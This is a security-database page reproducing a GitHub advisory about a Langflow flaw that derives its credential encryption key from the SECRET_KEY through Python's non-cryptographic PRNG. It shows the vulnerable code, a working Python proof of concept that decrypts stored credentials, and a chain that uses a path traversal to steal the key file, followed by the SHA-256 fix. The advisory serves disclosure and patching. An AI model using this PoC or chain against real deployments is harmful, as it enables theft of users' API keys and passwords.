OFFLINE
Awaiting data
Security intelligence
CriticalCritical vulnerability

CVE-2026-9205: Langflow: Weak Fernet Key via random.seed()

GitHub Advisories · officialPublished Oct 5, 2026Risk 50/100

### Summary Langflow uses Python's `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required. Even when `SECRET_KEY` is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation. **Severity:** Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) **CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data ### Details **Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651–663** ```python MINIMUM_KEY_LENGTH = 32 def _ensure_valid_key(self, raw_key: str) -> bytes: if len(raw_key) < MINIMUM_KEY_LENGTH: random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output key = base64.urlsafe_b64encode(key) else: key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key return key def _get_fernet(self) -> Fernet: secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value() valid_key = self._ensure_valid_key(secret_key) return Fernet(valid_key) ``` The identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292–318 (called by `DatabaseVariableService.create_variable` and `update_variable`). **What is encrypted under this key:** All variables stored with `type = "Credential"` — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API: ```python # services/variable/service.py encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value ``` **Why this is critical in combination with the [MCP path traversal](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f):** The `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` — readable via the MCP path traversal vulnerability. Once exfiltrated: - If `len(secret_key) < 32`: run `random.seed(secret_key)` → derive identical key → decrypt all credentials instantly - If `len(secret_key) >= 32`: pad the key directly → decrypt all credentials instantly No brute force needed in either case once the file is read. ### PoC ```python #!/usr/bin/env python3 # Requires: pip install cryptography import random import base64 from cryptography.fernet import Fernet # --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decrypt_short_key(secret_key: str, ciphertext: str) -> str: random.seed(secret_key) key_bytes = bytes(random.getrandbits(8) for _ in range(32)) fernet_key = base64.urlsafe_b64encode(key_bytes) return Fernet(fernet_key).decrypt(ciphertext.encode()).decode() # --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decrypt_long_key(secret_key: str, ciphertext: str) -> str: padding_needed = 4 - len(secret_key) % 4 padded = secret_key + "=" * padding_needed return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode() # Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated) # and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M=" plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") # Output: sk-test-SENTINEL-VALUE-12345 ``` **Confirmed on Langflow v1.7.3:** - Database path: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db` - Two `Credential`-type variables found in the `variable` table - Both decrypted successfully: `"dummy"` and `"sk-test-SENTINEL-VALUE-12345"` - The sentinel value (`sk-test-SENTINEL-VALUE-12345`) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated `secret_key` **End-to-end chain (with MCP path traversal):** ```bash # Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user) # Step 2: Query DB credentials via path traversal (SQLite file readable) # Step 3: Decrypt offline — zero brute force, instant python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT" # → all stored API keys revealed ``` ### Impact All stored user credentials are at risk in any Langflow deployment where an attacker can read the `secret_key` file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account: - **OpenAI, Anthropic, and other LLM provider API keys** stored by any user are decryptable - **Database connection strings and passwords** stored as credentials are exposed - **OAuth tokens and webhook secrets** stored via the Variables UI are exposed - **All users on the instance** are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide `SECRET_KEY` In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces. ### Fix Fixed in **v1.10.1** by PR [#13704](https://github.com/langflow-ai/langflow/pull/13704) (commit `094694d3f2`). `ensure_fernet_key()` (`src/backend/base/langflow/services/auth/utils.py`) no longer seeds Python's non-cryptographic `random` module for short `SECRET_KEY` values. The 32-byte key is now derived deterministically with SHA-256: ```python def ensure_fernet_key(secret_key: str) -> bytes: if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH: digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes key = base64.urlsafe_b64encode(digest) else: key = add_base64_padding(secret_key).encode() return key ``` Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via `get_fernet_for_decryption()`, which returns a `MultiFernet` trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local `random.Random(secret_key)` instance (not the global `random` module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only. **Affected versions:** <= 1.10.0 **Patched version:** 1.10.1 **Operator note:** deployments running with a `SECRET_KEY` shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated `SECRET_KEY` (`secrets.token_urlsafe(32)`, 43 characters) takes the long-key branch and was never affected by the PRNG issue.

Upgrade affected packages to a patched version: langflow 1.10.1.

Vendor
Not specified
Product
langflow
Exploitation
none known
Evidence
official
CVSS
9.1

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source